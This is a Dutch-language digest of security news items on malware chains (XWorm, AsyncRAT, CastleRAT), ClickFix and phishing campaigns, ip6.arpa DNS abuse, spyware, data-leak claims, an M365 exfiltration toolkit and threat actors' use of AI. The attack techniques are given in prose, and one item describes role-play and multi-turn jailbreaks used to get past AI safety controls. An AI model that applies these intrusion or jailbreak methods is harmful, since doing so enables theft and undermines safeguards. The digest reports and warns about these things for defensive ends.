De aanval begint met een batch script dat wordt opgehaald van een TryCloudflare domein en verspreid via phishing e-mails. Het script vermijdt opzettelijk privilege escalatie en gebruikt de rechten van de ingelogde gebruiker om een eerste foothold te vestigen, terwijl het opgaat in onschuldige administratieve operaties. De eerste stage toont een decoy PDF door Google Chrome in full-screen te starten. Dit financiële document of factuur dient als afleiding om te verbergen wat er achter de schermen gebeurt, zoals het lanceren van een PowerShell commando om het originele batch script opnieuw uit te voeren met de -WindowStyle Hidden parameter om een console venster te vermijden.

Om persistence te garanderen, wordt een auxiliary batch script in de Windows user's Startup directory geplaatst, zodat het automatisch wordt uitgevoerd bij elke login. Deze persistence methode opereert volledig binnen de context van de huidige user. Het wijzigt geen system-wide registry keys, creëert geen scheduled tasks, of installeert geen services.

De volgende fase begint met het ophalen van extra payloads van een TryCloudflare domein in de vorm van ZIP archives. Deze archieven bevatten meerdere bestanden: runn.py (een Python-based loader script voor het decrypten en injecteren van shellcode), new.bin (XWorm shellcode), xn.bin (Xeno RAT shellcode), pul.bin (AsyncRAT shellcode), en a.json, n.json, en p.json (key files met decryption keys).

De aanval deployt een legitieme embedded Python runtime direct van python[.]org om afhankelijkheid van het systeem te elimineren. Het Python runtime wordt gebruikt om "runn.py" te lanceren, dat vervolgens de XWorm payload decrypt en uitvoert met behulp van Early Bird APC injectie. De malware gebruikt ook "AppInstallerPythonRedirector.exe" om Python aan te roepen en Xeno RAT te lanceren. In de laatste stage gebruikt de Python loader hetzelfde injectie mechanisme om AsyncRAT te lanceren.

De infectieketen eindigt met een minimale HTTP beacon terug naar de C2 infrastructuur op TryCloudflare om de inbraak te bevestigen. Het is onbekend wie de doelwitten waren en of er succesvolle compromissen zijn geweest. Herhaalde process injectie in explorer.exe binnen korte tijd is een sterke indicator.

Bron: Securonix

Google adviseert smartphonegebruikers die zich zorgen maken over commerciële spyware om hun toestellen regelmatig te herstarten, Android Advanced Protection Mode of iOS Lockdown Mode in te schakelen en een adblocker te gebruiken. Het techbedrijf houdt een overzicht bij van kwetsbaarheden die door aanvallers worden misbruikt en waar geen update voor beschikbaar is op het moment van de aanval.

In 2025 registreerde Google negentig van dergelijke beveiligingslekken, waarvan er vijftien werden toegeschreven aan spywareleveranciers. Deze bedrijven bieden opsporingsdiensten en andere overheidsinstanties de mogelijkheid om smartphones met spyware te infecteren, waarbij zowel bekende als onbekende kwetsbaarheden worden gebruikt. Spywareleveranciers beweren dat hun oplossingen worden gebruikt voor het bestrijden van criminaliteit en terrorisme, maar in de praktijk zijn mensenrechtenactivisten, journalisten en politici vaak het doelwit.

Volgens Google ondermijnen dit soort aanvallen burgervrijheden en mensenrechten. Voor het eerst sinds de start van de registratie van zeroday-aanvallen, heeft Google meer zerodays toegeschreven aan spywareleveranciers dan aan traditionele door overheden gesteunde spionagegroepen. Deze ontwikkeling toont aan dat een breder scala aan klanten van spywareleveranciers toegang heeft tot dergelijke kwetsbaarheden. Spywareleveranciers richten zich vooral op kwetsbaarheden in mobiele browsers en besturingssystemen. Het werkelijke aantal slachtoffers is onbekend, maar de aanvallen zijn vaak zeer gericht. Een aanval met de Pegasus-spyware op WhatsApp-gebruikers maakte ongeveer 1400 slachtoffers, waaronder in Nederland. Apple stuurt periodiek waarschuwingen naar mensen die mogelijk het doelwit zijn geweest van een spyware-aanval.

Google adviseert gebruikers om apparaten uit te schakelen of thuis te laten wanneer men een verhoogd risico loopt, mobiele data, wifi en bluetooth uit te schakelen en patches direct te installeren. Afgelopen december werd bekend dat smartphones stilletjes via advertenties zijn geïnfecteerd met de Predator-spyware, waarbij alleen het zien van een besmette advertentie al voldoende was. Het inschakelen van de Android Advanced Protection Mode of iOS Lockdown Mode wordt ook aangeraden. Verder adviseert Google om applicaties te verwijderen, ongebruikte services en features uit te schakelen, niet op links te klikken of bijlagen te openen van onbekende afzenders en de telefoon regelmatig te herstarten, omdat verschillende mobiele spyware alleen in het geheugen van de telefoon draait en zo wordt verwijderd.

Bron: androidauthority.com

OpenAnt is een open-source vulnerability scanner, gebaseerd op een Large Language Model (LLM), die ontworpen is om security teams en open-source beheerders te helpen bij het proactief identificeren van geverifieerde security flaws met minimale false positives en false negatives. De tool is uitgebracht onder de Apache 2.0 licentie en is beschikbaar op GitHub.

OpenAnt is gebouwd rond een tweedelige pijplijn: de eerste fase detecteert potentiële kwetsbaarheden, en de tweede fase simuleert real-world exploitatie. Alleen bevindingen die beide fasen overleven, worden als geverifieerde resultaten gepresenteerd, wat de nauwkeurigheid aanzienlijk verhoogt in vergelijking met traditionele statische analyse tools.

De tool is initieel ontwikkeld als een onderzoeksproject door Nahum Korda, met productontwikkeling onder leiding van Alex Raihelgaus en Daniel Geyshis. Knostic erkent dat sommige functies nog in bèta zijn en verwelkomt bijdragen van de community.

OpenAnt werkt via een CLI-gebaseerde pijplijn die gebruikers kunnen uitvoeren tegen lokale of remote repositories. De workflow omvat zes sequentiële commando's: `parse`, `enhance`, `analyze`, `verify`, `build-output` en `report`. Het is ook mogelijk om de scan in één stap uit te voeren met `openant scan --verify`.

De tool ondersteunt momenteel de volgende programmeertalen (deze worden niet expliciet genoemd in het artikel). OpenAnt maakt gebruik van Claude Opus 4.6 via Anthropic's API voor de analyse- en verificatiestadia, waarbij gebruikers een Anthropic API-sleutel met toegang tot dat model moeten instellen. Configuratie- en projectgegevens worden lokaal opgeslagen onder `~/.config/openant/` en `~/.openant/`, waarbij API-sleutels worden beschermd onder `0600` file permissions.

Setup vereist Go 1.25 of hoger om de CLI binary te bouwen. De tool ondersteunt zowel remote repository cloning als local directory referencing met commit pinning voor reproduceerbare scans.

De release komt op een moment dat AI-aangedreven vulnerability research tools snel toenemen, met OpenAI's Aardvark (nu Codex Security) en Claude Code Security van Anthropic die in aangrenzende gebieden opereren. Knostic heeft verklaard geen intentie te hebben om met deze platforms te concurreren, en positioneert OpenAnt als een community-gerichte, transparante alternatief, met name voor open-source beheerders die mogelijk geen toegang hebben tot commerciële scanning tools.

Knostic is momenteel bezig met het vulnerability disclosure proces voor bevindingen die tijdens de ontwikkeling van OpenAnt zijn ontdekt. De open-source release nodigt onafhankelijke onderzoekers uit om de detectiemogelijkheden te valideren, uit te breiden en te verbeteren.

Bron: knostic | Bron 2: github.com

Dreigingsactoren maken steeds meer gebruik van kunstmatige intelligentie (AI) in verschillende fasen van cyberaanvallen om hun activiteiten te versnellen. Ze misbruiken zowel de bedoelde mogelijkheden van AI-modellen als jailbreaking-technieken om beveiligingen te omzeilen en kwaadaardige activiteiten uit te voeren. Terwijl bedrijven AI integreren om de efficiëntie en productiviteit te verbeteren, passen dreigingsactoren dezelfde technologieën toe als operationele hulpmiddelen, waarbij ze AI in hun workflows inbedden om de snelheid, schaal en veerkracht van cyberoperaties te vergroten.

Microsoft Threat Intelligence heeft vastgesteld dat het meeste kwaadaardige gebruik van AI momenteel gericht is op het gebruik van taalmodellen voor het produceren van tekst, code of media. Dreigingsactoren gebruiken generatieve AI om phishing-lokmiddelen op te stellen, inhoud te vertalen, gestolen gegevens samen te vatten, malware te genereren of te debuggen, en scripts of infrastructuur te scaffolden. Voor deze toepassingen fungeert AI als een krachtvermenigvuldiger die de technische frictie vermindert en de uitvoering versnelt, terwijl menselijke operators de controle behouden over doelstellingen, targeting en implementatiebeslissingen.

Dit is vooral duidelijk in operaties die waarschijnlijk gericht zijn op het genereren van inkomsten, waar efficiëntie zich direct vertaalt in schaal en persistentie. Om deze trends te illustreren, belicht dit blog waarnemingen van Noord-Koreaanse remote IT-werkeractiviteit die wordt gevolgd door Microsoft Threat Intelligence als Jasper Sleet en Coral Sleet (voorheen Storm-1877), waar AI het aanhoudende, grootschalige misbruik van legitieme toegang mogelijk maakt door middel van identiteitsfabricage, social engineering en langdurige operationele persistentie tegen lage kosten.

Microsoft Threat Intelligence heeft vroege experimenten van dreigingsactoren waargenomen met agentic AI, waarbij modellen iteratieve besluitvorming en taakuitvoering ondersteunen. Hoewel nog niet op schaal waargenomen en beperkt door betrouwbaarheid en operationeel risico, wijzen deze inspanningen op een potentiële verschuiving naar meer adaptieve dreigingsactor-tradecraft die detectie en respons zou kunnen bemoeilijken.

Dreigingsactoren integreren AI in hun operaties en zijn niet beperkt tot bedoeld of beleidsconform gebruik van deze systemen. Microsoft Threat Intelligence heeft waargenomen dat dreigingsactoren actief experimenteren met technieken om AI-veiligheidscontroles te omzeilen of te "jailbreaken" om outputs te verkrijgen die anders zouden worden beperkt. Deze inspanningen omvatten het herformuleren van prompts, het aaneenschakelen van instructies over meerdere interacties en het misbruiken van systeem- of ontwikkelaar-stijlprompts om modellen te dwingen kwaadaardige inhoud te genereren.

Microsoft Threat Intelligence heeft waargenomen dat dreigingsactoren op rollen gebaseerde jailbreak-technieken gebruiken om AI-veiligheidscontroles te omzeilen. In dit soort scenario's kunnen actoren modellen vragen om vertrouwde rollen aan te nemen of beweren dat de dreigingsactor in een dergelijke rol opereert, waardoor een gedeelde context van legitimiteit wordt gecreëerd. Dreigingsactoren gebruiken grote taalmodellen (LLM's) om publiekelijk gerapporteerde kwetsbaarheden te onderzoeken en potentiële exploitatiepaden te identificeren. Zo heeft Microsoft Threat Intelligence in samenwerking met OpenAI waargenomen dat de Noord-Koreaanse dreigingsactor Emerald Sleet LLM's gebruikt om publiekelijk gerapporteerde kwetsbaarheden te onderzoeken, zoals de CVE-2022-30190 Microsoft Support Diagnostic Tool (MSDT)-kwetsbaarheid. Deze modellen helpen dreigingsactoren technische details te begrijpen en potentiële aanvalsvectoren efficiënter te identificeren dan traditioneel handmatig onderzoek.

AI wordt gebruikt door dreigingsactoren om tools te identificeren en evalueren die verdediging en operationele schaalbaarheid ondersteunen. Dreigingsactoren vragen AI om aanbevelingen te doen voor tools voor toegang op afstand, obfuscation frameworks en infrastructuurcomponenten. Dit omvat het onderzoeken van methoden om endpoint detection and response (EDR)-systemen te omzeilen of het identificeren van cloudservices die geschikt zijn voor command-and-control (C2)-operaties.

Bron: Microsoft

Cybercrimeinfo heeft op het darkweb informatie gevonden over diverse recente cyberincidenten en dreigingen.

Zo zou het cyberteam V For Vendetta de gegevens van 557.892 klanten van Vivo Brazil hebben gelekt.

Verder claimt een dreigingsactor een grote verzameling databases met betrekking tot cryptocurrency te verkopen, bestaande uit meer dan 100 bestanden van exchanges, wallets, DeFi-platforms en cryptodiensten. Ook wordt beweerd dat een dreigingsactor 338.000.000 Mail:Pass lijnen met e-mailadressen en wachtwoorden van Gmail te koop aanbiedt.

Daarnaast zou de database van Komiko.App, een AI NSFW video- en image generatie platform, zijn gelekt, waardoor meer dan 1.000.000 unieke gebruikers zijn getroffen. Ook Success.com, een platform gericht op business, leadership en persoonlijke groei, zou het slachtoffer zijn van een datalek, waarbij de gegevens van meer dan 141.000 gebruikers zijn gelekt.

De groep Conquerors Electronic Army heeft de website van Israel Post aangevallen, terwijl SERVER KILLERS meerdere websites in Israël viseerde en 313 Team de websites van meerdere Koeweitse websites aanviel.

Ten slotte claimt een dreigingsactor een zero-day exploit van CVE-2026-21533 te verkopen voor $220.000 en een "Distributed Brute Force Cluster v1.0" voor $50.000. Akira slachtoffers worden nu ook weergegeven in de ransomware feed.

Bron: Darkweb

De ransomwaregroep Velvet Tempest, ook bekend als DEV-0504, gebruikt de ClickFix-techniek en legitieme Windows-hulpprogramma's om de DonutLoader-malware en de CastleRAT-backdoor te verspreiden. Onderzoekers van MalBeacon, een bedrijf gespecialiseerd in cyber-deceptie, observeerden de activiteiten van de hackers gedurende 12 dagen in een nagebootste bedrijfsomgeving.

Velvet Tempest is al minstens vijf jaar actief als affiliate in aanvallen met ransomware en is in verband gebracht met de inzet van diverse ransomwarevarianten, waaronder Ryuk (2018 - 2020), REvil (2019-2022), Conti (2019-2022), BlackMatter, BlackCat/ALPHV (2021-2024), LockBit en RansomHub.

MalBeacon observeerde de aanval tussen 3 en 16 februari in een replica-omgeving van een Amerikaanse non-profitorganisatie met meer dan 3.000 endpoints en ruim 2.500 gebruikers. Na toegang te hebben verkregen, voerden de Velvet Tempest-operators handmatige activiteiten uit, waaronder Active Directory-verkenning, host discovery en omgevingsprofilering. Ze gebruikten ook een PowerShell-script om in Chrome opgeslagen credentials te verzamelen. Het script werd gehost op een IP-adres dat de onderzoekers in verband brachten met tool staging voor Termite ransomware-intrusies.

Volgens de onderzoekers verkreeg Velvet Tempest de eerste toegang via een malvertising-campagne die leidde tot een ClickFix- en CAPTCHA-mix, waarbij slachtoffers een obfuscated commando in het Windows Run-dialoogvenster moesten plakken. Dit commando activeerde geneste cmd.exe-ketens en gebruikte finger.exe om de eerste malware loaders op te halen. Een van de payloads was een archiefbestand dat vermomd was als een PDF-bestand.

In latere stadia gebruikte Velvet Tempest PowerShell om opdrachten te downloaden en uit te voeren die extra payloads ophaalden, .NET-componenten compileerden via csc.exe in tijdelijke directories, en Python-gebaseerde componenten inzetten voor persistentie in C:\ProgramData. De operatie zette uiteindelijk DonutLoader in en haalde de CastleRAT-backdoor op, een remote access trojan die geassocieerd wordt met de CastleLoader malware loader, die bekend staat om het verspreiden van diverse RATs en information stealers, zoals LummaStealer.

Termite ransomware heeft eerder al slachtoffers geclaimd, zoals SaaS-provider Blue Yonder en het Australische IVF-bedrijf Genea. Hoewel Velvet Tempest doorgaans geassocieerd wordt met double-extortion aanvallen, waarbij slachtoffersystemen worden versleuteld na het stelen van bedrijfsgegevens, meldt MalBeacon dat de dreigingsactor de Termite ransomware niet heeft ingezet tijdens de geobserveerde inbraak.

Meerdere ransomware-actoren hebben de ClickFix-techniek al toegepast in aanvallen. Sekoia meldde in april 2025 dat de Interlock ransomware-groep de social engineering-methode gebruikte om bedrijfsnetwerken binnen te dringen.

Bron: hubs.li | Bron 2: incode.com

Een nieuwe oplichtingscampagne richt zich op duizenden mensen in de Verenigde Staten. De campagne maakt misbruik van de naam van de Social Security Administration (SSA) om nietsvermoedende gebruikers te misleiden, zo meldt beveiligingsbedrijf LifeLock. De e-mails, die inspelen op de drukke periode van het belastingseizoen, gebruiken urgente taal zoals "Belangrijke openbaarmakingen" of "Belangrijke wettelijke informatie" om de aandacht te trekken. Hoewel de afzender mogelijk de naam Social Security Administration draagt, blijkt uit onderzoek dat de e-mails niet afkomstig zijn van een legitiem overheidsdomein dat eindigt op .gov.

De e-mails bevatten een link of een bestand dat eruitziet als een standaard PDF-bestand, met een naam als "Social_security_statements_2025.pdf". Echter, dit is geen normaal document. Het bestand maakt gebruik van een tool genaamd Datto RMM. RMM (Remote Monitoring and Management) is een tool die door IT-experts wordt gebruikt om computers op afstand te beheren en te repareren. In dit geval wordt het echter misbruikt. Als een gebruiker op de link klikt om het document te bekijken, kan er een RAT (Remote Access Trojan) worden geïnstalleerd.

Dit stelt aanvallers in staat om de volledige controle over het apparaat van een persoon over te nemen. Zodra ze toegang hebben, kunnen ze de gebruiker in de gaten houden en privédata stelen. De valse e-mails vertellen de lezer vaak dat er een nieuw document klaarstaat voor beoordeling en slechts korte tijd beschikbaar zal zijn. Dit is een belangrijke waarschuwing, omdat het doel is om de gebruiker zo snel mogelijk op een knop met het label "BEKIJK DOCUMENT" te laten klikken. Om veilig te blijven, wordt aangeraden om altijd het e-mailadres van de afzender te controleren en links te vermijden die vragen om software te downloaden om een eenvoudige verklaring te bekijken.

Bron: LifeLock

Onderzoekers van Acronis Threat Research Unit (TRU) hebben een misleidende campagne ontdekt waarbij een valse versie van de Red Alert app wordt gebruikt om Israëlische gebruikers te bespioneren. De aanval maakt gebruik van SMS-berichten die lijken van het officiële Home Front Command te komen. In deze berichten wordt beweerd dat er een technisch probleem is met het huidige waarschuwingssysteem en wordt een link verstrekt om een bijgewerkte versie te downloaden.

Na installatie functioneert de app ogenschijnlijk normaal en toont het legitieme raketaanvallen. Echter, op de achtergrond draait schadelijke code die persoonlijke gegevens steelt. De app vraagt om 20 permissies, waarvan zes zeer gevoelig. Na toestemming kan de software de precieze GPS-locatie van de gebruiker volgen, privéberichten lezen om eenmalige wachtwoorden te onderscheppen en contactlijsten verzamelen. Verder identificeert het alle andere geïnstalleerde apps en worden accounts geregistreerd op het apparaat, zoals Google- of e-mailaccounts, buitgemaakt.

De gestolen data wordt teruggestuurd naar een externe server. Om de app veiliger te laten lijken, gebruikten de makers certificate spoofing om Android-beveiliging te misleiden en forceerden ze de telefoon zelfs om te zeggen dat de app was geïnstalleerd vanuit de Google Play Store.

Volgens Acronis volgt deze campagne een patroon waarbij geopolitieke gebeurtenissen worden gebruikt om slachtoffers te misleiden. Acronis TRU observeerde vergelijkbare activiteit tijdens de Venezuela-operatie in januari, waarbij de aan China gelinkte groep Mustang Panda naar verluidt thematische phishing gebruikte om ambtenaren te targeten en LOTUSLITE-malware te implementeren. Het team ontdekte vorige maand ook de Crescent campagne van Harvest, die Iraanse demonstranten targette door malware te verbergen in documenten die de demonstraties prezen.

Het is niet de eerste keer dat raketaanval-apps in Israël zijn misbruikt. In oktober 2023 claimde de pro-Palestijnse hacktivistische groep AnonGhost dat het de Red Alert-app had gecompromitteerd en gebruikte om valse noodmeldingen te verzenden, waaronder waarschuwingen over nep-raketten en zelfs nucleaire aanvallen. Later diezelfde maand ontdekten onderzoekers van Cloudflare's Cloudforce One team een afzonderlijke campagne met een valse RedAlert-thema Android-app die werd verspreid via een kwaadaardige website die de legitieme service nauw nabootste.

Bron: Acronis | Bron 2: blog.cloudflare.com

Cybercriminelen maken misbruik van het ".arpa" domein en IPv6 reverse DNS om phishingcampagnes uit te voeren die domeinreputatiechecks en e-mail security gateways makkelijker omzeilen. Het .arpa domein is een toplevel domein gereserveerd voor internetinfrastructuur en wordt gebruikt voor reverse DNS lookups, waarmee systemen een IP adres terug kunnen herleiden naar een hostname. IPv4 reverse lookups gebruiken het in-addr.arpa domein, terwijl IPv6 ip6.arpa gebruikt.

Onderzoekers van Infoblox ontdekten een phishingcampagne die de ip6.arpa reverse DNS TLD misbruikt. Normaliter mapt dit IPv6-adressen terug naar hostnames via PTR records. Aanvallers reserveerden hun eigen IPv6-adresruimte en misbruikten de reverse DNS zone voor het IP bereik door extra DNS records voor phishing sites te configureren. Nadat de aanvallers controle kregen over de DNS zone voor een IPv6 range, konden ze andere record types configureren die misbruikt kunnen worden voor phishing. Volgens Infoblox maken de aanvallers gebruik van Hurricane Electric en Cloudflare om deze records te creëren.

Om de infrastructuur op te zetten, verkregen de aanvallers eerst een blok IPv6-adressen via IPv6 tunneling services. Vervolgens genereerden ze reverse DNS hostnames uit de IPv6 address range met behulp van willekeurig gegenereerde subdomeinen. In plaats van PTR records te configureren, creëerden de aanvallers A records die deze reverse DNS domeinen naar infrastructuur leiden die phishing sites host.

De phishing e-mails in deze campagne beloven een prijs, een beloning voor een enquête of een account notificatie. De lokkertjes zijn ingebed in de e-mails als afbeeldingen die gekoppeld zijn aan een reverse IPv6 DNS record, zoals "d.d.e.0.6.3.0.0.0.7.4.0.1.0.0.2.ip6.arpa," in plaats van een reguliere hostname. Wanneer een slachtoffer op de phishing e-mail afbeelding klikt, lost het apparaat de door de aanvaller gecontroleerde reverse DNS name servers op via een DNS provider. In sommige gevallen werden de authoritative name servers gehost door Cloudflare, en de reverse DNS domeinen leidden naar Cloudflare IP adressen, waardoor de locatie van de backend phishing infrastructuur werd verborgen.

Na het klikken op de afbeelding worden slachtoffers omgeleid via een traffic distribution system (TDS) dat bepaalt of ze een valide doelwit zijn, op basis van apparaattype, IP adres, web referers en andere criteria. Als de bezoeker de validatie doorstaat, worden ze doorgestuurd naar een phishing site. Anders worden ze naar een legitieme website gestuurd. Infoblox meldt dat de phishing links van korte duur zijn en slechts enkele dagen actief zijn. Nadat de links verlopen, leiden ze gebruikers naar domeinfouten of andere legitieme sites. Onderzoekers denken dat dit gedaan wordt om het moeilijker te maken voor security onderzoekers om de phishing campagne te analyseren en onderzoeken. Omdat het '.arpa' domein gereserveerd is voor internetinfrastructuur, bevat het geen data die normaal gesproken in geregistreerde domeinen te vinden is, zoals WHOIS info, domein leeftijd, of contact informatie. Dit maakt het moeilijker voor e-mail gateways en security tools om kwaadaardige domeinen te detecteren.

De onderzoekers zagen ook dat de phishing campagne andere technieken gebruikte, zoals het kapen van dangling CNAME records en subdomain shadowing.

Bron: https://www.bleepingcomputer.com/news/security/hackers-abuse-arpa-dns-and-ipv6-to-evade-phishing-defenses/

Een nieuw open source edge AI systeem, genaamd π RuView, zet gewone wifi infrastructuur om in een platform voor het detecteren van mensen door muren heen. Het systeem kan lichaamshoudingen, vitale functies en bewegingspatronen detecteren zonder camera's, wat urgente beveiligings- en bewakingsvraagstukken oproept. Onderzoekers en ontwikkelaars theoretiseerden al langer dat omgevingsradiosignalen gebruikt zouden kunnen worden voor passieve bewaking. Die theorie is nu omgezet in werkende code.

RuView, gebouwd door ontwikkelaar Reuven Cohen en beschikbaar op GitHub, implementeert WiFi DensePose, een detectietechniek die oorspronkelijk is ontwikkeld door Carnegie Mellon University, als een praktisch, goedkoop edgesysteem dat volledige lichaamshoudingen van mensen door muren heen reconstrueert met behulp van standaard wifi signalen.

Het systeem maakt gebruik van Channel State Information (CSI) metadata die wifi hardware al verzamelt om de signaaloverdracht te optimaliseren. Wanneer een menselijk lichaam beweegt in een draadloze omgeving, vervormt het de signaalpaden over tientallen OFDM subcarriers. RuView's signaalverwerkingspipeline legt deze verstoringen vast met 54.000 frames per seconde met behulp van Rust, extraheert amplitude- en fasevariaties, en voert ze door een aangepaste DensePose RCNN deep learning architectuur uit computer vision.

Het resultaat is een realtime reconstructie van 24 lichaamsoppervlaktegebieden, armen, torso, hoofd en gewrichten die zijn toegewezen aan UV coördinaten die weerspiegelen wat een camera zou zien, maar dan volledig afgeleid van RF signalen. Vitale functies worden parallel geëxtraheerd: bandpass filtering op 0,1–0,5 Hz vangt de ademhaling op (6–30 BPM), terwijl 0,8–2,0 Hz filtering de hartslag detecteert (40–120 BPM).

De meest alarmerende beveiligingsdimensie is de hardwarebarrière of het bijna ontbreken ervan. RuView wordt ingezet op ESP32 microcontroller nodes die ongeveer 1 dollar per stuk kosten, waardoor een multistatisch sensornetwerk ontstaat. Vier tot zes nodes combineren 12+ overlappende signaalpaden voor 360-graden kamerdekking met een nauwkeurigheid van minder dan een inch, en werken volledig offline zonder afhankelijkheid van de cloud. Detectie door muren heen reikt tot een diepte van 5 meter met behulp van Fresnel zone geometrie en multipath modellering. Het systeem leert in de loop van de tijd de RF "vingerafdruk" van elke kamer en trekt vervolgens de statische omgeving af om menselijke beweging te isoleren, een persistent veldmodel dat ook pogingen tot signaal spoofing kan detecteren. De latentie voor aanwezigheidsdetectie is minder dan 1 milliseconde.

In tegenstelling tot camera's, die worden gereguleerd onder GDPR, CCPA en wetten op fysieke installatie, is passieve WiFi CSI detectie onzichtbaar en vereist geen fysieke toegang tot de doelomgeving. Juridische analyses hebben opgemerkt dat "het nogal moeilijk is om voetgangers vooraf om toestemming te vragen", en toestemmingskaders vallen volledig weg wanneer detectie passief is. GDPR classificeert WiFi tracking identifiers al als persoonlijke gegevens, maar op CSI gebaseerde extractie van lichaamshoudingen bevindt zich in een grijze zone zonder specifieke controles.

Het aanvalsscenario is eenvoudig: een dreigingsactor plaatst een ESP32-node van $5 in een gemeenschappelijke ruimte van een gebouw of in de buurt van een wifi toegangspunt, implementeert RuView via Docker (docker pull ruvnet/wifi densepose:latest), en begint in stilte de bewegingen, routines en zelfs biometrische vitale functies van de bewoners door muren heen in kaart te brengen.

Beveiligingsteams moeten passieve RF detectie behandelen als een opkomende fysieke laag dreigingsvector. Mitigaties omvatten RF afscherming in gevoelige faciliteiten, monitoring op rogue ESP32-klasse apparaten op netwerksegmenten, en het pleiten voor regelgevingskaders die de surveillancewetgeving uitbreiden om op CSI gebaseerde human tracking te dekken voordat de technologie het beleid volledig overtreft.

Bron: https://cybersecuritynews.com/wifi-signals-reveal-human-activities/

De Noord-Koreaanse dreigingsactor UNC4899 wordt ervan verdacht in 2025 een cryptobedrijf te hebben gehackt, waarbij miljoenen dollars aan cryptocurrency zijn gestolen. De aanval begon met een sociaal aanval met engineering waarbij een ontwikkelaar werd misleid om een schadelijk archiefbestand te downloaden in de veronderstelling dat het een open-source project betrof. De ontwikkelaar stuurde dit bestand vervolgens via AirDrop naar zijn werkapparaat.

Volgens Google Cloud's H1 2026 Cloud Threat Horizons Report, maakte de ontwikkelaar via een AI-ondersteunde Integrated Development Environment (IDE) contact met de inhoud van het archief, waardoor kwaadaardige Python-code werd uitgevoerd. Deze code startte een binair bestand dat zich voordeed als de Kubernetes command-line tool. Het binaire bestand maakte verbinding met een door de aanvallers gecontroleerd domein en fungeerde als een backdoor naar de bedrijfscomputer van het slachtoffer. Hierdoor konden de aanvallers via de Google Cloud-omgeving credentials stelen en toegang krijgen tot Cloud SQL-databases.

De aanvallers maakten misbruik van legitieme DevOps-workflows om credentials te verzamelen, uit containers te breken en Cloud SQL-databases te manipuleren om de diefstal van cryptocurrency te faciliteren. UNC4899 wijzigde de multi-factor authenticatie (MFA) policy om toegang te krijgen tot een bastion host, waarna ze Kubernetes deployment configuraties aanpasten om een bash commando automatisch uit te voeren wanneer nieuwe pods werden gecreëerd, waarmee een backdoor werd gedownload.

De aanvallers stalen een token voor een CI/CD service account met hoge privileges, waardoor ze hun privileges konden verhogen en zich lateraal konden verplaatsen. Ze richtten zich op een pod die netwerk policies en load balancing beheerde. Het gestolen service account token werd gebruikt om te authenticeren bij de gevoelige infrastructuur pod die in privileged mode draaide, de container te verlaten en een backdoor te implementeren voor permanente toegang.

De aanvallers gebruikten de verkregen credentials om via Cloud SQL Auth Proxy toegang te krijgen tot de productie database en SQL commando's uit te voeren om gebruikersaccount modificaties door te voeren, waaronder het resetten van wachtwoorden en het updaten van MFA seeds voor verschillende waardevolle accounts. Uiteindelijk werden de gecompromitteerde accounts gebruikt om miljoenen dollars aan digitale assets te stelen.

Google adviseert organisaties om een defense-in-depth strategie te implementeren, waarbij identiteiten rigoureus worden gevalideerd, data transfer op endpoints wordt beperkt en strikte isolatie binnen cloud runtime omgevingen wordt afgedwongen. Aanbevolen maatregelen omvatten context-aware access, phishing-resistente MFA, het gebruik van trusted images, het isoleren van gecompromitteerde nodes, het monitoren van container processen, robuust secrets management en het beperken van peer-to-peer file sharing.

Bron: Google

Cybercrimeinfo heeft ontdekt dat een dreigingsactor, bekend als GordonFreeman, claimt de Venezolaanse ride-hailingdienst Yummy Rides te hebben gecompromitteerd. Hierbij is een database met ongeveer 30.000 foto's van chauffeurs, samen met hun volledige namen, gelekt. De data is als een gratis download beschikbaar gesteld.

De gelekte data bestaat uit profielfoto's van chauffeurs, waarbij de bestandsnamen de volledige namen van de chauffeurs bevatten. Dit koppelt elke foto direct aan een echte identiteit. Screenshots tonen honderden kleine ID-foto's van chauffeurs, wat de omvang van het datalek aantoont.

Dit type lek is zorgwekkend omdat het zowel visuele identificatie als echte namen van de chauffeurs prijsgeeft, waardoor ze mogelijk blootstaan aan gerichte intimidatie, identiteitsfraude of social engineering. De dreigingsactor geeft aan het platform direct te hebben gecompromitteerd om deze data te verkrijgen.

De gecompromitteerde data bestaat uit foto's van chauffeurs (~30.000) en hun volledige namen.

Bron: Darkweb

Salesforce waarschuwt zijn klanten voor aanvallen waarbij misbruik wordt gemaakt van verkeerd ingestelde gastaccounts. Aanvallers stelen gegevens die vervolgens worden gebruikt voor social engineering en telefonische phishingaanvallen. Onlangs meldde de NOS dat het datalek bij Odido ontstond doordat aanvallers via telefonische phishing en social engineering inbraken op de Salesforce-omgeving van de telecomprovider.

De huidige aanvallen maken misbruik van verkeerd geconfigureerde gastaccounts van Experience Cloud sites. Salesforce biedt een customer relationship management (CRM) waarin bedrijven informatie over bestaande en potentiële klanten opslaan. Experience Cloud sites zijn websites en applicaties die direct op het Salesforce CRM-platform draaien, waardoor organisaties klanten, partners of medewerkers direct toegang tot de CRM-data kunnen geven.

Volgens Salesforce hebben sommige organisaties de permissies van gastaccounts voor Experience Cloud sites verkeerd ingesteld, waardoor deze accounts toegang hebben tot meer data dan de bedoeling is. Bij publiek toegankelijke Salesforce Experience sites delen anonieme bezoekers een "guest user profile". Via dit profiel kunnen niet-ingelogde gebruikers data bekijken die openbaar moet zijn. Als het profiel verkeerd is ingesteld met teveel rechten, kunnen ook gegevens die niet openbaar moeten zijn toegankelijk zijn.

Aanvallers maken misbruik van deze misconfiguraties en gebruiken daarbij een aangepaste opensourcetool van securitybedrijf Mandiant. Met deze tool scannen de aanvallers op grote schaal naar publiek toegankelijke Experience Cloud sites. De oorspronkelijke tool kan alleen kwetsbare objecten identificeren, maar de aangepaste tool maakt het ook mogelijk om via verkeerd ingestelde gastaccounts allerlei data te stelen. De buitgemaakte data, vaak namen en telefoonnummers, worden vervolgens gebruikt voor social engineering en telefonische phishingaanvallen. Deze werkwijze is al langer bekend; de FBI, Salesforce en Google waarschuwden hier vorig jaar al voor.

Bron: Salesforce

Een red teamer onder de naam OtterHacker heeft M365Pwned publiekelijk vrijgegeven. Dit is een paar WinForms GUI tools ontworpen om data te inventariseren, zoeken en exfiltreren uit Microsoft 365 omgevingen met behulp van application-level OAuth tokens, zonder dat gebruikersinteractie nodig is.

De toolkit is volledig gebouwd in PowerShell 5.1 en maakt gebruik van de Microsoft Graph API. Het biedt een significante post-compromise offensieve mogelijkheid voor penetration testers en adversary simulation operators die zich richten op enterprise M365 tenants.

De toolkit bestaat uit twee componenten: MailPwned-GUI.ps1, gericht op Exchange Online en Outlook, en SharePwned-GUI.ps1, gericht op SharePoint en OneDrive. Beide tools werken onder een geregistreerde Azure AD applicatie met admin-consented applicatie permissions en ondersteunen drie authenticatiemethoden: Client Secret, Certificate Thumbprint, en Raw Access Token (pass-the-token).

